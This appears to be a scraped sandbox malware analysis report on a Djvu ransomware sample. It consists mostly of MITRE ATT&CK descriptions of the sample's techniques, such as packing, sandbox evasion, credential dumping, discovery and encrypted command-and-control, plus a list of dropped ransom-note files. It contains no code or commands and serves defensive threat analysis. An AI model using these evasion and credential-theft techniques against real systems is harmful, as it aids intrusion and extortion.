Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kOVwcHSfrR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\ProgramData\AAEHDAAK

C:\ProgramData\AAKKFHCFIECAAAKEGCFI

C:\ProgramData\BFCFBKKKFHCFHJKFIIEH

C:\ProgramData\DHDHCGHD

C:\ProgramData\FIEHDBGD

C:\ProgramData\GCBKFIEBGCAAFIEBFCAECBFBFB

C:\ProgramData\GHDHDGHJEBGIDGDGIJJKFBAAKK

C:\ProgramData\IJJKKJJD

Windows Analysis Report
kOVwcHSfrR.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre